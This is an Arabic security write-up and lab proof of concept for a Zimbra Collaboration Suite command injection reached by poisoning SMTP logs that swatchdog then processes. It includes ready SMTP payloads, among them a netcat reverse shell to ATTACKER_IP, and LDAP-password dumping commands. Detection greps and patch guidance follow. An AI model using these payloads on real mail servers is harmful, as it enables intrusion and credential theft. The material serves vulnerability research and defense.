
# Zimbra Collaboration Suite RCE — تسميم سجلات SMTP ← swatchdog ← حقن أوامر نظام التشغيل (CVSS 8.9، CISA KEV)
ملاحظة: يحتوي هذا المستودع على تحليل تقني مستقل وإعادة إنتاج (PoC) للثغرة CVE-2026-73570. وهو ليس تقرير الثغرة الأصلي.
تنفيذ أوامر عن بُعد (RCE) في Zimbra Collaboration Suite — تسميم سجلات SMTP → swatchdog → حقن أوامر نظام التشغيل (CVSS 8.9، CISA KEV)
النوع: حقن أوامر نظام التشغيل → تنفيذ أوامر عن بُعد دون مصادقة
المتجه: تسميم سجلات SMTP → swatchdog → توسيع الصدفة (shell expansion) بصيغة السلسلة النصية في dosnmp
نطاق الإصدارات المتأثرة وفق المورّد/CVE: Zimbra Collaboration Suite < 10.1.20
المتطلبات المسبقة: تثبيت zimbra-snmp؛ تفعيل إشعارات SNMP
CVSS: 8.9 (عالية)
CISA KEV: نعم — أُضيفت إلى كتالوج الثغرات المعروفة المستغلة لدى CISA
التصحيح: Zimbra 10.1.20 (صدر في 2026-07-20)
ملاحظة حول نطاق الإصدارات: تُدرج بيانات المورّد/CVE الإصدارات المتأثرة على أنها Zimbra < 10.1.20. ومع ذلك، فإن شيفرة المصدر الخاصة بـ Zimbra 10.1.0 التي جرى فحصها خلال هذا البحث كانت تستخدم بالفعل استدعاء
system()الآمن بصيغة القائمة. ويشير ذلك إلى أن التنفيذ المتأثر بصيغة السلسلة النصية قد أُدخل في بنية وسيطة ثم صُحّح لاحقًا في 10.1.20، لكن الإصدار الدقيق الذي أُدخل فيه هذا التراجع لم يُتحقق منه بشكل مستقل من تاريخ المستودع.
تقع الثغرة في /opt/zimbra/conf/swatchrc.in، داخل الدالة dosnmp المسؤولة عن إرسال إشعارات SNMP trap عند تغيّر حالة إحدى خدمات Zimbra.
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}"
);
}
يستخدم التنفيذ القابل للاستغلال الصيغة النصية لدالة system() في Perl. يتم تفسير الأمر الناتج بواسطة shell، مما يسمح بتقييم محارف shell الوصفية واستبدالات الأوامر مثل $(...) الموجودة في $args{SERVICE}.
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"/opt/zimbra/common/bin/snmptrap",
"-v", "2c",
"-c", "zimbra",
$traphost,
"",
$snmpsvctrap,
$snmpsvcname,
"s",
$args{SERVICE},
$snmpsvcstatus,
"i",
$statuses{$args{STATUS}}
);
}
الإصلاح الأمني الأساسي هو التحويل من الصيغة النصية إلى صيغة القائمة في system()، مما يمنع تفسير البيانات التي يتحكم بها المهاجم بواسطة الصدفة.
مع صيغة القائمة، يتم تمرير الملف التنفيذي ومعاملاته بشكل منفصل. تُعامل القيم مثل $(cmd) كبيانات حرفية بدلاً من صيغة صدفة.
Attacker (Kali)
│
│ SMTP RCPT TO with crafted quoted local-part
│ containing the swatchdog pattern + payload
▼
Postfix/smtpd (Zimbra server, port 25)
│
│ Accepts the RCPT TO
│ Logs it to /var/log/zimbra.log
▼
swatchdog (running as zimbra)
│
│ Pattern:
│ /: Service status change: (\S+) (.*) changed from stopped to running/
│
│ Captures attacker-controlled content
│ and passes it to donotify()
▼
donotify()
│
▼
dosnmp()
│
│ system("$snmptrap ... $args{SERVICE} ...")
▼
/bin/sh
│
│ Expands $(payload)
▼
Command execution as "zimbra"
│
▼
Reverse shell / post-exploitation
القضية الأساسية هي تدفق البيانات الكامل:
SMTP
→ Postfix
→ /var/log/zimbra.log
→ swatchdog
→ donotify()
→ dosnmp()
→ string-form system()
→ shell interpretation
→ command execution
يقبل Postfix الجزء المحلي المُصمَّم خصيصًا بين علامتي اقتباس ويسجّله في zimbra.log. ثم يفسّر swatchdog محتوى السجل المطابق على أنه حدث لحالة الخدمة، مما يسمح لبيانات يتحكم بها المهاجم بالوصول إلى استدعاء system() القابل للاستغلال.
تم اختبار الأوامر التالية فقط في بيئة مختبر معزولة.
اتصل بخدمة SMTP الهدف:
nc <target> 25
أرسل معاملة SMTP مصممة خصيصًا:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT
إذا نجح الاستغلال، فإن /tmp/pwned_rce يحتوي على مخرجات مشابهة لما يلي:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
هذا يؤكد تنفيذ الأوامر في سياق المستخدم zimbra.
ابدأ مستمعًا على جهاز المهاجم:
nc -lvnp 4444
ثم سلّم الحمولة عبر SMTP:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
QUIT
يؤدي الاستغلال الناجح إلى الحصول على صدفة تفاعلية تعمل بصلاحيات المستخدم zimbra.
Attacker (Kali): 10.0.2.15
Victim (Ubuntu): 10.0.2.22
Hostname: mail.lab.local
VirtualBox NAT Network: 10.0.2.0/24
كان مصدر Zimbra 10.1.0 الذي تم فحصه خلال هذا البحث يحتوي بالفعل على تنفيذ system() الآمن بصيغة القائمة.
لذلك، لم يُعتبر تثبيت 10.1.0 الأصلي المستخدم في هذا المعمل دليلاً على أن Zimbra 10.1.0 نفسه كان عرضة للثغرة.
لإعادة إنتاج الحالة المعرضة للثغرة الموصوفة في CVE-2026-73570، تم تعديل swatchrc.in يدويًا لاستخدام تنفيذ system() المعرض للثغرة بصيغة السلسلة النصية.
قم بعمل نسخة احتياطية من التكوين الأصلي:
cp /opt/zimbra/conf/swatchrc.in \
/opt/zimbra/conf/swatchrc.in.bak
يمكن بعد ذلك إعادة إنتاج السلوك القابل للاستغلال في المختبر المعزول من خلال تطبيق التنفيذ بصيغة السلسلة الموضح في قسم السبب الجذري وتشغيل swatchdog مقابل سجل Zimbra.
مثال:
PERL5LIB=/opt/zimbra/common/lib/perl5 \
/opt/zimbra/common/bin/swatchdog \
-c /opt/zimbra/conf/swatchrc \
-t /var/log/zimbra.log &
هذا التعديل المختبري موجود فقط لإعادة إنتاج وتحليل تدفق البيانات القابل للاستغلال. لا ينبغي تفسيره كدليل على أن إصدار 10.1.0 غير المعدّل كان عرضة للاستغلال.
يوفر الاستغلال الناجح تنفيذ الأوامر بصلاحيات المستخدم zimbra.
تأكد من سياق التنفيذ:
id
مثال:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
يمكن أن يكشف التكوين المحلي لـ Zimbra عن بيانات اعتماد متاحة لحساب الخدمة المخترق.
على سبيل المثال:
/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password
قد توفّر هذه البيانات الوصول إلى دليل LDAP الخاص بـ Zimbra وتُظهر الأثر اللاحق للاستغلال الناتج عن الحصول على تنفيذ أوامر بصفة المستخدم zimbra.
ابحث في سجلات Postfix/Zimbra عن إدخالات مستلمي SMTP التي تحتوي على نمط حالة خدمة swatchdog:
grep -E 'to=<".*Service status change.*"@' /var/log/zimbra.log
بحث أوسع عن صيغة استبدال الأوامر داخل الأجزاء المحلية المُقتبسة:
grep -E 'to=<"[^"]*\$\([^"]*\)"@' /var/log/zimbra.log
يجب التعامل مع المطابقات على أنها مؤشرات قوية على محاولة استغلال، والتحقيق فيها فورًا.
يتطلب تأكيد نجاح تنفيذ الأوامر أدلة مترابطة مثل:
zimbra؛/tmp؛قم بترقية Zimbra Collaboration Suite إلى 10.1.20 أو أحدث.
يغيّر الإصلاح الأمني استدعاء dosnmp() المعرّض للثغرة من صيغة السلسلة النصية إلى صيغة القائمة في system()، مما يمنع تفسير القيم التي يتحكم فيها المهاجم بواسطة shell.
بعد تطبيق التصحيح، راجع السجلات التاريخية ونشاط النظام بحثًا عن أدلة على استغلال ربما حدث أثناء تعرّض النظام للثغرة.